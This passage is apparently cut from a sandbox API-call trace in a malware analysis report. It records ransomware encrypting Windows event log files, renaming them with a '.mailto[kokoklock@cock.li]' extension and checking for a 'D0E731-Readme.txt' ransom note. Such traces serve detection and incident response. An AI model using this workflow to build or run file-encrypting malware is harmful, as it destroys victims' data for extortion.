Seed=0x7d2fdb0) returned 0x71e689b4 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xad4fcfbc [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x29d15459 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xafae09e4 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xeaa85106 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x72a214f [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x54c21db [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x80721d4f [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xd560d34f [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xe20351ba [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x47dcf29 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x56eecd5 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xe0f9f2c3 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x5ece2cc9 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x8ff6f5c5 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x9276583f [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x18dd7d58 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xb08b9105 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xedee6437 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xa5281c4f [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x48185c95 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x79599c3a [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xe4886078 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x1d9101f0 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xe6c54e8e [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xb4f675ac [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x4fc90928 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x24fcf7f3 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0xd6dab637 [0061.301] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x9deadf7 [0061.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b570 [0061.311] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.311] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.311] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.311] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7d2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7d2fd7c*=0x4096, lpOverlapped=0x0) returned 1 [0061.312] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b598 [0061.312] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b598) returned 1 [0061.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b598 [0061.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5c0 [0061.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5c0) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.313] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7d2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7d2fd7c*=0x4096, lpOverlapped=0x0) returned 1 [0061.313] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.313] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.313] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b598*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7d2fdb4, lpOverlapped=0x0 | out: lpBuffer=0x347b598*, lpNumberOfBytesWritten=0x7d2fdb4*=0x20, lpOverlapped=0x0) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b598) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x347b570*, lpNumberOfBytesWritten=0x7d2fdc8*=0x8, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x7d2fde0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x7d2fde0*, lpNumberOfBytesWritten=0x7d2fdc8*=0x4, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7d2fdc8*=0x4, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7d2fdc8*=0x6c, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x7d2fdc8*=0x20, lpOverlapped=0x0) returned 1 [0061.314] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7d2fdc8*=0x4, lpOverlapped=0x0) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b570) returned 1 [0061.314] CloseHandle (hObject=0x5b4) returned 1 [0061.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x33dd248 [0061.330] wcscpy (in: _Dest=0x33dd248, _Source="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" [0061.330] wcscat (in: _Dest=0x33dd248, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.330] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.331] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dd248) returned 1 [0061.331] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.331] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.331] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.331] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2600) returned 1 [0061.331] RtlExitUserThread (Status=0x1) Thread: id = 99 os_tid = 0xe60 [0061.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0061.298] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.298] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x7dafad0 | out: lpFileSize=0x7dafad0*=69632) returned 1 [0061.298] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.298] ReadFile (in: hFile=0x5c4, lpBuffer=0x7dafaa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x7dafaa4*, lpNumberOfBytesRead=0x7dafaa0*=0x4, lpOverlapped=0x0) returned 1 [0061.316] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b570 [0061.316] NtQuerySystemTime (in: CurrentTime=0x7dafa7c | out: CurrentTime=0x7dafa7c*=132121176192113442) returned 0x0 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x8f2c0f3d [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x11e775fd [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x772d37f8 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x2918cc84 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xb6e8fe2c [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x8297862a [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x199c49fe [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x620143bd [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x18fc9e7c [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xdd76bc53 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x918e2bca [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xf03cd579 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x2d6fdc90 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x8b18305a [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x93cec95f [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xaabc6cd1 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x78dfb881 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x9d22b18f [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xfab554ad [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xf1a06fec [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x9fe5919b [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xcc595ce [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x64e6f9c5 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x2c34f5f5 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x60ab448d [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x63dc7244 [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x9688111c [0061.316] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x67525372 [0061.317] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x855d229d [0061.317] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xd0746a3c [0061.317] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0xd37f0249 [0061.317] RtlRandom (in: Seed=0x7dafa88 | out: Seed=0x7dafa88) returned 0x33b091f3 [0061.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b598 [0061.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5c0 [0061.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.328] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.328] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7dafa54, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7dafa54*=0x4096, lpOverlapped=0x0) returned 1 [0061.332] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.333] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7dafa54, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7dafa54*=0x4096, lpOverlapped=0x0) returned 1 [0061.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.333] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.333] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7dafa8c, lpOverlapped=0x0 | out: lpBuffer=0x347b548*, lpNumberOfBytesWritten=0x7dafa8c*=0x20, lpOverlapped=0x0) returned 1 [0061.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b5c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x347b5c0*, lpNumberOfBytesWritten=0x7dafaa0*=0x8, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x7dafab8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x7dafab8*, lpNumberOfBytesWritten=0x7dafaa0*=0x4, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7dafaa0*=0x4, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7dafaa0*=0x6c, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7dafaa0*=0x20, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7dafaa0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7dafaa0*=0x4, lpOverlapped=0x0) returned 1 [0061.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b598) returned 1 [0061.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5c0) returned 1 [0061.334] CloseHandle (hObject=0x5c4) returned 1 [0061.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x341e0b8 [0061.338] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" [0061.338] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.338] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.338] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.338] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.338] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b68 [0061.339] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.339] wcscat (in: _Dest=0x3433b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.339] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0061.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c45b8) returned 1 [0061.339] RtlExitUserThread (Status=0x1) Thread: id = 100 os_tid = 0xda8 [0061.336] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0061.340] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.340] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.340] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x7e2fe44 | out: lpFileSize=0x7e2fe44*=69632) returned 1 [0061.340] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.340] ReadFile (in: hFile=0x5c4, lpBuffer=0x7e2fe18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7e2fe14, lpOverlapped=0x0 | out: lpBuffer=0x7e2fe18*, lpNumberOfBytesRead=0x7e2fe14*=0x4, lpOverlapped=0x0) returned 1 [0061.342] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b598 [0061.342] NtQuerySystemTime (in: CurrentTime=0x7e2fdf0 | out: CurrentTime=0x7e2fdf0*=132121176192425623) returned 0x0 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x30b43ec9 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x604bf74e [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x6e705c5c [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xfc41da12 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xb3ff8ad9 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xf24a3d83 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x76d5c8df [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x3dd5323b [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x8102b8dc [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x7e107e3f [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xf1801dc2 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xc1bc5ad1 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x2df2bca2 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x1644743b [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xf73ef903 [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0x37ce618d [0061.342] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xc616b9f7 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xc5b37091 [0061.343] RtlRandom (in: Seed=0x7e2fdfc | out: Seed=0x7e2fdfc) returned 0xb3b4fc55 [0061.343] RtlRandom (in: 